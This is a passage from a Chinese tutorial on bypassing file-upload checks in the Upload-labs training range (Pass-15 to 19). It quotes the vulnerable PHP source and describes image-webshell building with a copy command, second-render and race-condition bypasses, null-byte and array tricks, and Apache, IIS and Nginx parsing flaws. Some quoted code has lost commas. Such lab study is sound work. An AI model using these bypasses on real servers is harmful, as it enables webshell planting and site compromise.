        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(1099).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

绕过技巧

绕过方法与前者一样,不再赘述。

绕过php_exif模块检验文件类型

靶场绕过示例

靶场:Upload-labs(Pass-15)

审计源代码,这里使用php_exif模块获取文件类型,本质上也是校验文件头内容。

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(1099).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

绕过技巧

绕过方法与前者一样,不再赘述。

二次渲染绕过

二次渲染:就是根据用户上传的图片,新生成一个图片,将原始图片删除,将新图片添加到数据库中。比如一些网站根据用户上传的头像生成大中小不同尺寸的图像。这里,也就是说,我们上传的图像,会被网站作为样品再生成一个新的图像,并且将我们原本上传的文件删除。

靶场绕过示例

靶场:Upload-labs(Pass-16)

使用copy命令将webshell与正常图片进行捆绑:

copy load.gif + shell.php shell.gif

image-20220119015913634

上传图片马可以看到,我们的一句话已经追加到图片末尾。

image-20220119020233187

我们将上传后的图片下载到本地,使用16进制编辑器打开:

image-20220119233123372

可以发现,我们在gif末端添加的php代码已经被去除。

审计源代码,本关综合判断了后缀名、content-type,以及利用imagecreatefrom..gif_jpeg_png系列函数判断图片类型,最后再做了一次二次渲染。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileextsubstr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

绕过技巧

关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了。

对比两张图片的16进制(这里使用的是Notepad++的HEX-Editor插件),白色区域是不变的部分,而红色区域是不同的部分。

image-20220119233847632

我们将代码写到白色区域中:

image-20220119234154139

上传后在下载到本地使用16进制编辑器打开:

image-20220119234423576

可以看到二次渲染过后也没有发生改变。

image-20220119234655746

使用文件包含成功利用。

注:PNG与JPG格式的二次渲染绕过就没有那么简单了,详细分析过程可以参考如下文章:

https://xz.aliyun.com/t/2657#toc-6

条件竞争绕过

条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同的请求时是并发进行的,因此如果并发处理不当或相关操作顺序设计的不合理时,将会导致此类问题的发生。因此条件竞争漏洞也称并发漏洞。条件也属于逻辑漏洞的范畴,这里将利用条件竞争漏洞绕过文件上传。

利用条件竞争绕过unlink删除文件

靶场绕过示例

靶场:Upload-labs(Pass-17)

审计源代码,这里先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件。

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file$upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'rand(1099).date("YmdHis").".".$file_ext;
             rename($upload_file$img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

绕过技巧

可以通过条件竞争的方式在unlink之前,访问webshell。

首先使用BurpSuite将Proxy拦截到的数据包发送到Intruder

image-20220120114515910

使用无参数爆破,发送webshell数据包,若想要让webshell持续不掉线,选择Continue indefinitely

image-20220120120813694

成功上传

image-20220120120453722

利用条件竞争绕过rename重命名文件

靶场绕过示例

靶场:Upload-labs(Pass-18)

审计源代码,本关对文件后缀名做了白名单判断,然后会一步一步检查文件大小、文件是否存在等等,将文件上传后,对文件重新命名,同样存在条件竞争的漏洞。

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc"".xls"".txt"".pdf"".gif"".jpg"".zip"".rar"".7z",".ppt",
      ".html"".xml"".tiff"".jpeg"".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/

  function upload$dir ){
    
    $ret = $this->isUploadedFile();
    
    if$ret != 1 ){
      return $this->resultUpload$ret );
    }

    $ret = $this->setDir$dir );
    if$ret != 1 ){
      return $this->resultUpload$ret );
    }

    $ret = $this->checkExtension();
    if$ret != 1 ){
      return $this->resultUpload$ret );
    }

    $ret = $this->checkSize();
    if$ret != 1 ){
      return $this->resultUpload$ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if$this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if$ret != 1 ){
        return $this->resultUpload$ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if$ret != 1 ){
      return $this->resultUpload$ret );    
    }

    // check if we need to rename the file

    if$this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if$ret != 1 ){
        return $this->resultUpload$ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload"SUCCESS" );
  
  }
......
......
...... 
};

绕过技巧

可以不断利用BurpSuite发送数据包,由于条件竞争,程序会出现来不及rename的问题,从而上传成功,由于这里设置了扩展名白名单,所以这里需要结合Apache的解析漏洞:

将后缀改为php.7z,并进行爆破:

image-20220120133712042

成功上传,并且可以解析为php文件。

image-20220120133807350

CVE-2015-2348 (PHP任意文件上传漏洞)

漏洞编号:CVE-2015-2348

漏洞影响版本:PHP 5.4.38~5.6.6(同时由于php 5.2版本本身就受到00截断漏洞的影响,所以也在受影响的行列之中)

情况下,PHP的开发者会对文件用户上传的文件的类型、文件大小、文件名后缀等进行严格的检查来限制恶意的PHP脚本文件的上传漏洞的产生,但是攻击者有时候可以结合语言的特性以及多种绕过方法来实现文件的上传漏洞。

靶场绕过示例

靶场:Upload-labs(Pass-19)

审计源代码,发现move_uploaded_file()函数中的img_path是由post参数save_name控制的。

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file$img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

利用/. 绕过

绕过技巧

move_uploaded_file()会忽略掉文件末尾的/.

image-20220120143344661

末尾的/并不影响解析

image-20220120143527185

利用00截断绕过

绕过技巧

也可以利用00截断绕过

image-20220120143749324

save_path数组分隔绕过

靶场绕过示例

靶场:Upload-labs(Pass-19)

审计源代码,和上一关一样move_uploaded_file()函数中的img_path是由post参数save_name控制,但是save_name是经过白名单校验的。在校验的过程中,若save_name不为数组,则会被分隔成包含“文件名”与“扩展名”的数组,若不为数组则直接使用数组末尾的元素校验。

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.'strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext$allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file$img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

绕过技巧

先上发送的数据包,再进行分析:

image-20220120153525009

可以看到,我们发送的数据包中save_path是以数组的形式发送的。并且中间缺少了一个元素。

在检验完save_path数组($file)最后一位元素(扩展名)正确后,再进行拼接使用如下语句:

image-20220120155452107

其将$file数组中的第1个元素与$file数组的第count($file) - 1个进行拼接,那么拼接时可以在中间缺少一位元素,时$file[count($file) - 1]为空,导致绕过。

解析漏洞绕过

解析漏洞指的是服务器应用程序在解析某些精心构造的后缀文件时,会将其解析成网页脚本,从而导致网站的沦陷。大部分解析漏洞的产生都是由应用程序本身的漏洞导致的。

解析漏洞常见于IIS、Apache、Nginx这类的中间件对应版本存在的解析问题,存在的问题都在于中间件。

Apache解析漏洞

影响版本:Apache 1.x、Apache 2.x

Apache在解析文件名的时候是从右向左读,如果遇到不能识别的扩展名则跳过,rargif等扩展名是Apache不能识别的,因此就会直接将类型识别为php,从而达到了上传php代码的目的。

假如上传文件1.php.bb.rar,后缀名rar不认识,向前解析;1.php.bb,后缀名bb不认识,向前解析;1.php 最终解析结果为php文件。如果解析完还没有碰到可以解析的扩展名,就会暴露源文件。

IIS 5.x-6.x解析漏洞

影响版本:IIS 5.x、IIS 6.x

使用 IIS5.x-6.x 版本的服务器,大多为Windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,不能解析aspx文件。

目录解析漏洞

IIS 6.0中的目录解析漏洞,如果网站目录中有一个 *.asp的文件夹,那么该文件夹下面的一切内容都会被 IIS 当作 asp 脚本来执行,如/xx.asp/xx.jpg

文件解析漏洞

IIS 6.0中的分号(;)漏洞,IIS在解析文件名的时候会将分号后面的内容丢弃,那么我们可以在上传的时候给后面加入分号内容来避免黑名单过滤,如 a.asp;jpg

解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种 :

•/test.asa•/test.cer•/test.cdx

IIS 7.0/IIS 7.5/Nginx < 8.03 畸形解析漏洞

影响版本:IIS 7.0、IIS 7.5

IIS 7.0/7.5,默认 Fast-CGI 开启。如果直接在 url 中图片地址(*.jpg)后面输入/*.php,会把正常图片解析为 php 文件。

在某些使用Nginx的网站中,访问http://www.xxser.com/1.jpg/1.php,1.jpg会被当作PHP脚本来解解析文件类型析,此时1.php是不存在的。这就意味着攻击者可以上传合法的“图片”(图片木马),然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell。

这不是Nginx特有的漏洞,在IIS 7.0IIS 7.5Lighttpd等Web容器中也经常会出现这样的解析漏洞。这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。

Nginx空字节解析漏洞

影响版本:Nginx 0.5、0.6、0.7<=0.7.65、0.8<= 0.8.37

在Fast-CGI关闭的情况下,Nginx <=0.8.37 依然存在解析漏洞:

当Fast-CGI执行php时,在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。

www.xxxx.com/UploadFiles/image/1.jpg/1.phpwww.xxxx.com/UploadFiles/image/1.jpg%00.phpwww.xxxx.com/UploadFiles/image/1.jpg/%20\0.php


推荐阅读

实战 | Bypass云锁MySQL注入总结

实战 | BypassD盾之SQL注入绕过总结

实战 | WAF-Bypass之SQL注入绕过安全狗

实战 | WAF-Bypass之SQL注入绕过思路总结

干货 | 最全的文件上传漏洞之WAF拦截绕过总结

[CTF].htaccess的使用技巧总结

https://blog.csdn.net/solitudi/article/details/116666720

文件上传之条件竞争

https://www.cnblogs.com/tysec/p/15023051.html

常见的解析漏洞总结

https://blog.csdn.net/weixin_43625577/article/details/91971796

Apache-解析漏洞

https://cloud.tencent.com/developer/article/1541092

点赞,转发,在看


原创作者:Ulysses

内部学员投稿

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存